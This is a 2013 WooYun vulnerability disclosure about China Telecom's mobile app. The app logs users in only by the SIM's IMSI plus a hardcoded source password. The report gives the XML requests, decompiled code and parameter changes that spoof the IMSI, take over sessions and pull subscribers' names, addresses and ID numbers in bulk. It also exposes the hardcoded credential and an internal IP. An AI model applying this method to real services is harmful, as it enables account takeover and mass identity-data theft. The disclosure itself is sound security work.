当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037245

漏洞标题:中国电信手机端某接口可获全国电信人民身份信息

相关厂商:中国电信

漏洞作者: Elegance

提交时间:2013-09-15 23:20

修复时间:2013-10-30 23:20

公开时间:2013-10-30 23:20

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-15: 细节已通知厂商并且等待厂商处理中
2013-09-18: 厂商已经确认,细节仅向厂商公开
2013-09-28: 细节向核心白帽子及相关领域专家公开
2013-10-08: 细节向普通白帽子公开
2013-10-18: 细节向实习白帽子公开
2013-10-30: 细节向公众公开

简要描述:

某天,我下了电信的手机客户端。打开的同时,我惊异了!直觉告诉我这种惊异可能是某种洞,于是有了下文......

详细说明:

神奇的客户端,打开了居然直接就登录了。百思不得其解,难道这软件有权限直接暗地里发短信认证?
这个貌似不大可能,于是乎分析了下
登录过程分析
登录时的参数通过XML传递给服务器:

<Request>
<HeaderInfos>
<ClientType>xxx</ClientType>
<Source>110003</Source>
<SourcePassword>Sid98s</SourcePassword>
<Token></Token>
<UserLoginName></UserLoginName>
<Code>imsiInfo</Code>
<Timestamp>20130915173847</Timestamp>
</HeaderInfos>
<Content>
<Attach>test</Attach>
<FieldData>
<ImsiNbr>460030136837068</ImsiNbr>
</FieldData>
</Content>
</Request>

几个关键的参数:Source、SourcePassword、ImsiNbr,这几个参数我未曾输入,服务端也未曾传递过来,那只有一种可能就是客户端从手机上获取的或生成的。
反编译了下APK包。万幸!源码居然没经过混淆。于是顺利的定位到了这几个参数的出处
source和sourcePassword:

public static void init(String paramString)
{
source = "110003";
sourcePassword = "Sid98s";
userLoginName = paramString;
clientType = MyApplication.b;
}


ImsiNbr:

String str4 = i.f(this.mContext);
ImsiInfoRequest localImsiInfoRequest = new ImsiInfoRequest();
localImsiInfoRequest.setImsiNbr(str4);
↓ ↓ ↓
public static String f(Context paramContext)
{
try
{
String str = ((TelephonyManager)paramContext.getSystemService("phone")).getSubscriberId();
if (str == null)
str = "0";
return str;
}
catch (Exception localException)
{
localException.printStackTrace();
}
return "0";
}

source和sourcePassword为常量,搞不懂把自定义的一个常量从客户端传给服务端要做什么?
ImsiNbr是通过getSubscriberId()获取手机的SIM卡序列号。
即登录过程的唯一标识仅仅只是通过SIM卡序列号,同时又没用任何手段来确保该SIM序列号不被修改。既然如此,只要修改这个序列号即可伪装任何用户进行操作。
测试了下,果真可以:

-2副本.jpg

登录成功后,服务器会返回手机号码和一个该手机号绑定的token值。这个token值相当于sessionId。有了它就可以执行客户端所有的功能,查询余额、话费、账单、充值记录什么的。
当然了这种客户端功能比较少,通话记录,短信记录肯定是没办法查了。但是其中有个接口居然将开卡信息(开卡时间、登记人姓名、住址、证件号码)返回给了客户端。
利用上面的登录缺陷,我们可以遍历所有用户,通过该接口即可获取所有用户的开卡信息。

漏洞证明:

将登录请求中的几个参数修改成如下即可

<Token>填入对应号码的token值</Token>
<Code>custInfo</Code>
<PhoneNbr>填入手机号码</PhoneNbr>


利用burpsuite测试了下:
遍历SIM序列号:

token-1.jpg


遍历开卡信息:

-1.jpg


获取的身份信息:

-2.jpg

注:仅为测试,仅遍历了50个序列号,且数据已删除!
还有一个小问题,这貌似是内网地址~~~

HttpHost localHttpHost = new HttpHost("10.0.0.200", 80);

修复方案:

1、增加认证手段
2、这些开卡信息貌似没必要传递给客户端吧!
3、增加权限控制

版权声明:转载请注明来源 Elegance@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-09-18 22:38

厂商回复:

最新状态:

暂无